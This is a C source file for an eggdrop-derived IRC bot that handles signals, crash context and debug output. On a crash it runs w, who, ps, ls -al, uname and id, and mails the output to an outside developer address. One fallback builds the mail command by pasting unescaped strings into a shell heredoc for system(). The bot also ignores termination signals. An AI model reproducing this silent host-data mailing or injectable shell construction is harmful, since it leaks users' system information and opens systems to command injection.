debug.c 9.6 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391
  1. /*
  2. * debug.c -- handles:
  3. * signal handling
  4. * Context handling
  5. * debug funtions
  6. *
  7. */
  8. #include "common.h"
  9. #include "debug.h"
  10. #include "net.h"
  11. #include "misc.h"
  12. #include "userrec.h"
  13. #include "main.h"
  14. #include "dccutil.h"
  15. #include <setjmp.h>
  16. #include <signal.h>
  17. #include <sys/types.h>
  18. #include <sys/stat.h>
  19. #include <fcntl.h>
  20. #include <sys/time.h>
  21. #include <sys/resource.h>
  22. #include <unistd.h>
  23. #include <stdarg.h>
  24. extern int sdebug, backgrd, do_restart;
  25. extern char tempdir[], origbotname[], ver[];
  26. extern time_t now, buildts;
  27. extern jmp_buf alarmret;
  28. void setlimits()
  29. {
  30. #ifndef DEBUG_MEM
  31. struct rlimit plim, fdlim, corelim;
  32. /* struct rsslim, stacklim;
  33. rsslim.rlim_cur = 30720;
  34. rsslim.rlim_max = 30720;
  35. setrlimit(RLIMIT_RSS, &rsslim);
  36. stacklim.rlim_cur = 30720;
  37. stacklim.rlim_max = 30720;
  38. setrlimit(RLIMIT_STACK, &stacklim);
  39. */
  40. /* do NOT dump a core. */
  41. corelim.rlim_cur = 0;
  42. corelim.rlim_max = 0;
  43. setrlimit(RLIMIT_CORE, &corelim);
  44. plim.rlim_cur = 50;
  45. plim.rlim_max = 50;
  46. setrlimit(RLIMIT_NPROC, &plim);
  47. fdlim.rlim_cur = 200;
  48. fdlim.rlim_max = 200;
  49. setrlimit(RLIMIT_NOFILE, &fdlim);
  50. #else /* DEBUG_MEM */
  51. struct rlimit cdlim;
  52. cdlim.rlim_cur = RLIM_INFINITY;
  53. cdlim.rlim_max = RLIM_INFINITY;
  54. setrlimit(RLIMIT_CORE, &cdlim);
  55. #endif /* !DEBUG_MEM */
  56. }
  57. void init_debug()
  58. {
  59. int i = 0;
  60. for (i = 0; i < 16; i ++)
  61. Context;
  62. }
  63. int sdebug = 0; /* enable debug output? */
  64. void sdprintf (char *format, ...)
  65. {
  66. if (sdebug) {
  67. char s[2001];
  68. va_list va;
  69. va_start(va, format);
  70. egg_vsnprintf(s, 2000, format, va);
  71. va_end(va);
  72. if (!backgrd)
  73. dprintf(DP_STDOUT, "[D:%d] %s\n", getpid(), s);
  74. else
  75. putlog(LOG_MISC, "*", "[D:%d] %s", getpid(), s);
  76. }
  77. }
  78. #ifdef DEBUG_CONTEXT
  79. /* Context storage for fatal crashes */
  80. char cx_file[16][30];
  81. char cx_note[16][256];
  82. int cx_line[16];
  83. int cx_ptr = 0;
  84. static int nested_debug = 0;
  85. void write_debug()
  86. {
  87. int x;
  88. char s[25], tmpout[150], buf[DIRMAX];
  89. int y;
  90. if (nested_debug) {
  91. /* Yoicks, if we have this there's serious trouble!
  92. * All of these are pretty reliable, so we'll try these.
  93. *
  94. * NOTE: dont try and display context-notes in here, it's
  95. * _not_ safe <cybah>
  96. */
  97. sprintf(buf, "%sDEBUG.DEBUG", tempdir);
  98. x = creat(buf, 0600);
  99. setsock(x, SOCK_NONSOCK);
  100. if (x >= 0) {
  101. strncpyz(s, ctime(&now), sizeof s);
  102. dprintf(-x, STR("Debug (%s) written %s\n"), ver, s);
  103. dprintf(-x, STR("Context: "));
  104. cx_ptr = cx_ptr & 15;
  105. for (y = ((cx_ptr + 1) & 15); y != cx_ptr; y = ((y + 1) & 15))
  106. dprintf(-x, "%s/%d,\n ", cx_file[y], cx_line[y]);
  107. dprintf(-x, "%s/%d\n\n", cx_file[y], cx_line[y]);
  108. killsock(x);
  109. close(x);
  110. }
  111. {
  112. /* Use this lame method because shell_exec() or mail() may have caused another segfault :o */
  113. char buff[255];
  114. egg_snprintf(buff, sizeof(buff), "cat << EOFF >> %sbleh\nDEBUG from: %s\n`date`\n`w`\n---\n`who`\n---\n`ls -al`\n---\n`ps ux`\n---\n`uname -a`\n---\n`id`\n---\n`cat %s`\nEOFF", tempdir, origbotname, buf);
  115. system(buff);
  116. egg_snprintf(buff, sizeof(buff), "cat %sbleh |mail wraith@shatow.net", tempdir);
  117. system(buff);
  118. unlink("bleh");
  119. }
  120. unlink(buf);
  121. exit(1); /* Dont even try & tell people about, that may
  122. have caused the fault last time. */
  123. } else
  124. nested_debug = 1;
  125. egg_snprintf(tmpout, sizeof tmpout, "* Last 3 contexts: %s/%d [%s], %s/%d [%s], %s/%d [%s]",
  126. cx_file[cx_ptr-2], cx_line[cx_ptr-2], cx_note[cx_ptr-2][0] ? cx_note[cx_ptr-2] : "",
  127. cx_file[cx_ptr-1], cx_line[cx_ptr-1], cx_note[cx_ptr-1][0] ? cx_note[cx_ptr-1] : "",
  128. cx_file[cx_ptr], cx_line[cx_ptr], cx_note[cx_ptr][0] ? cx_note[cx_ptr] : "");
  129. putlog(LOG_MISC, "*", "%s", tmpout);
  130. printf("%s\n", tmpout);
  131. sprintf(buf, "%sDEBUG", tempdir);
  132. x = creat(buf, 0600);
  133. setsock(x, SOCK_NONSOCK);
  134. if (x < 0) {
  135. putlog(LOG_MISC, "*", "* Failed to write DEBUG");
  136. } else {
  137. char date[80];
  138. strncpyz(s, ctime(&now), sizeof s);
  139. dprintf(-x, "Debug (%s) written %s\n", ver, s);
  140. egg_strftime(date, sizeof date, "%c %Z", gmtime(&buildts));
  141. dprintf(-x, "Build: %s (%lu)\n", date, buildts);
  142. dprintf(-x, "Context: ");
  143. cx_ptr = cx_ptr & 15;
  144. for (y = ((cx_ptr + 1) & 15); y != cx_ptr; y = ((y + 1) & 15))
  145. dprintf(-x, "%s/%d, [%s]\n ", cx_file[y], cx_line[y],
  146. (cx_note[y][0]) ? cx_note[y] : "");
  147. dprintf(-x, "%s/%d [%s]\n\n", cx_file[cx_ptr], cx_line[cx_ptr],
  148. (cx_note[cx_ptr][0]) ? cx_note[cx_ptr] : "");
  149. tell_dcc(-x);
  150. dprintf(-x, "\n");
  151. tell_netdebug(-x);
  152. killsock(x);
  153. close(x);
  154. {
  155. char date[81], *w = NULL, *who = NULL, *ps = NULL, *uname = NULL, *id = NULL, *ls = NULL, *debug = NULL, *msg = NULL, buf2[DIRMAX];
  156. egg_strftime(date, sizeof date, "%c %Z", gmtime(&now));
  157. shell_exec("w", NULL, &w, NULL);
  158. shell_exec("who", NULL, &who, NULL);
  159. shell_exec("ps cux", NULL, &ps, NULL);
  160. shell_exec("uname -a", NULL, &uname, NULL);
  161. shell_exec("id", NULL, &id, NULL);
  162. shell_exec("ls -al", NULL, &ls, NULL);
  163. buf2[0] = 0;
  164. sprintf(buf2, "cat %s", buf);
  165. shell_exec(buf2, NULL, &debug, NULL);
  166. msg = malloc(strlen(date) + strlen(id) + strlen(uname) + strlen(w) + strlen(who) + strlen(ps) + strlen(ls) + strlen(debug) + 50);
  167. msg[0] = 0;
  168. sprintf(msg, "%s\n%s\n%s\n\n%s\n%s\n\n%s\n\n-----%s-----\n\n\n\n%s", date, id, uname, w, who, ps, ls, debug);
  169. email("Debug output", msg, EMAIL_TEAM);
  170. free(msg);
  171. }
  172. unlink(buf);
  173. putlog(LOG_MISC, "*", "* Emailed DEBUG to development team...");
  174. }
  175. }
  176. #endif
  177. static void got_bus(int z)
  178. {
  179. #ifdef DEBUG_CONTEXT
  180. write_debug();
  181. #endif
  182. fatal(STR("BUS ERROR -- CRASHING!"), 1);
  183. #ifdef SA_RESETHAND
  184. kill(getpid(), SIGBUS);
  185. #else
  186. exit(1);
  187. #endif
  188. }
  189. static void got_segv(int z)
  190. {
  191. #ifdef DEBUG_CONTEXT
  192. write_debug();
  193. #endif
  194. fatal(STR("SEGMENT VIOLATION -- CRASHING!"), 1);
  195. #ifdef SA_RESETHAND
  196. kill(getpid(), SIGSEGV);
  197. #else
  198. exit(1);
  199. #endif
  200. }
  201. static void got_fpe(int z)
  202. {
  203. #ifdef DEBUG_CONTEXT
  204. write_debug();
  205. #endif
  206. fatal(STR("FLOATING POINT ERROR -- CRASHING!"), 0);
  207. }
  208. static void got_term(int z)
  209. {
  210. #ifdef HUB
  211. write_userfile(-1);
  212. #endif
  213. putlog(LOG_MISC, "*", STR("RECEIVED TERMINATE SIGNAL (IGNORING)"));
  214. }
  215. static void got_abort(int z)
  216. {
  217. #ifdef DEBUG_CONTEXT
  218. write_debug();
  219. #endif
  220. fatal(STR("GOT SIGABRT -- CRASHING!"), 1);
  221. #ifdef SA_RESETHAND
  222. kill(getpid(), SIGSEGV);
  223. #else
  224. exit(1);
  225. #endif
  226. }
  227. #ifdef S_HIJACKCHECK
  228. static void got_cont(int z)
  229. {
  230. detected(DETECT_SIGCONT, STR("POSSIBLE HIJACK DETECTED"));
  231. }
  232. #endif
  233. static void got_quit(int z)
  234. {
  235. putlog(LOG_MISC, "*", STR("RECEIVED QUIT SIGNAL (IGNORING)"));
  236. return;
  237. }
  238. static void got_hup(int z)
  239. {
  240. #ifdef HUB
  241. write_userfile(-1);
  242. #endif
  243. putlog(LOG_MISC, "*", STR("Received HUP signal: rehashing..."));
  244. do_restart = -2;
  245. return;
  246. }
  247. /* A call to resolver (gethostbyname, etc) timed out
  248. */
  249. static void got_alarm(int z)
  250. {
  251. longjmp(alarmret, 1);
  252. /* -Never reached- */
  253. }
  254. /* Got ILL signal -- log context and continue
  255. */
  256. static void got_ill(int z)
  257. {
  258. #ifdef DEBUG_CONTEXT
  259. putlog(LOG_MISC, "*", STR("* Context: %s/%d [%s]"), cx_file[cx_ptr], cx_line[cx_ptr],
  260. (cx_note[cx_ptr][0]) ? cx_note[cx_ptr] : "");
  261. #endif
  262. }
  263. void init_signals()
  264. {
  265. struct sigaction sv;
  266. /* Set up error traps: */
  267. sv.sa_handler = got_bus;
  268. sigemptyset(&sv.sa_mask);
  269. #ifdef SA_RESETHAND
  270. sv.sa_flags = SA_RESETHAND;
  271. #else
  272. sv.sa_flags = 0;
  273. #endif
  274. sigaction(SIGBUS, &sv, NULL);
  275. sv.sa_handler = got_segv;
  276. sigaction(SIGSEGV, &sv, NULL);
  277. #ifdef SA_RESETHAND
  278. sv.sa_flags = 0;
  279. #endif
  280. sv.sa_handler = got_fpe;
  281. sigaction(SIGFPE, &sv, NULL);
  282. sv.sa_handler = got_term;
  283. sigaction(SIGTERM, &sv, NULL);
  284. #ifdef S_HIJACKCHECK
  285. sv.sa_handler = got_cont;
  286. sigaction(SIGCONT, &sv, NULL);
  287. #endif
  288. sv.sa_handler = got_abort;
  289. sigaction(SIGABRT, &sv, NULL);
  290. sv.sa_handler = got_hup;
  291. sigaction(SIGHUP, &sv, NULL);
  292. sv.sa_handler = got_quit;
  293. sigaction(SIGQUIT, &sv, NULL);
  294. sv.sa_handler = SIG_IGN;
  295. sigaction(SIGPIPE, &sv, NULL);
  296. sv.sa_handler = got_ill;
  297. sigaction(SIGILL, &sv, NULL);
  298. sv.sa_handler = got_alarm;
  299. sigaction(SIGALRM, &sv, NULL);
  300. }
  301. #ifdef DEBUG_CONTEXT
  302. /* Context */
  303. void eggContext(const char *file, int line, const char *module)
  304. {
  305. char x[31], *p;
  306. p = strrchr(file, '/');
  307. if (!module) {
  308. strncpyz(x, p ? p + 1 : file, sizeof x);
  309. } else
  310. egg_snprintf(x, 31, "%s:%s", module, p ? p + 1 : file);
  311. cx_ptr = ((cx_ptr + 1) & 15);
  312. strcpy(cx_file[cx_ptr], x);
  313. cx_line[cx_ptr] = line;
  314. cx_note[cx_ptr][0] = 0;
  315. }
  316. /* Called from the ContextNote macro.
  317. */
  318. void eggContextNote(const char *file, int line, const char *module,
  319. const char *note)
  320. {
  321. char x[31], *p;
  322. p = strrchr(file, '/');
  323. if (!module) {
  324. strncpyz(x, p ? p + 1 : file, sizeof x);
  325. } else
  326. egg_snprintf(x, 31, "%s:%s", module, p ? p + 1 : file);
  327. cx_ptr = ((cx_ptr + 1) & 15);
  328. strcpy(cx_file[cx_ptr], x);
  329. cx_line[cx_ptr] = line;
  330. strncpyz(cx_note[cx_ptr], note, sizeof cx_note[cx_ptr]);
  331. }
  332. #endif
  333. #ifdef DEBUG_ASSERT
  334. /* Called from the Assert macro.
  335. */
  336. void eggAssert(const char *file, int line, const char *module)
  337. {
  338. if (!module)
  339. putlog(LOG_MISC, "*", STR("* In file %s, line %u"), file, line);
  340. else
  341. putlog(LOG_MISC, "*", STR("* In file %s:%s, line %u"), module, file, line);
  342. #ifdef DEBUG_CONTEXT
  343. write_debug();
  344. #endif /* DEBUG_CONTEXT */
  345. fatal(STR("ASSERT FAILED -- CRASHING!"), 1);
  346. }
  347. #endif /* DEBUG_ASSERT */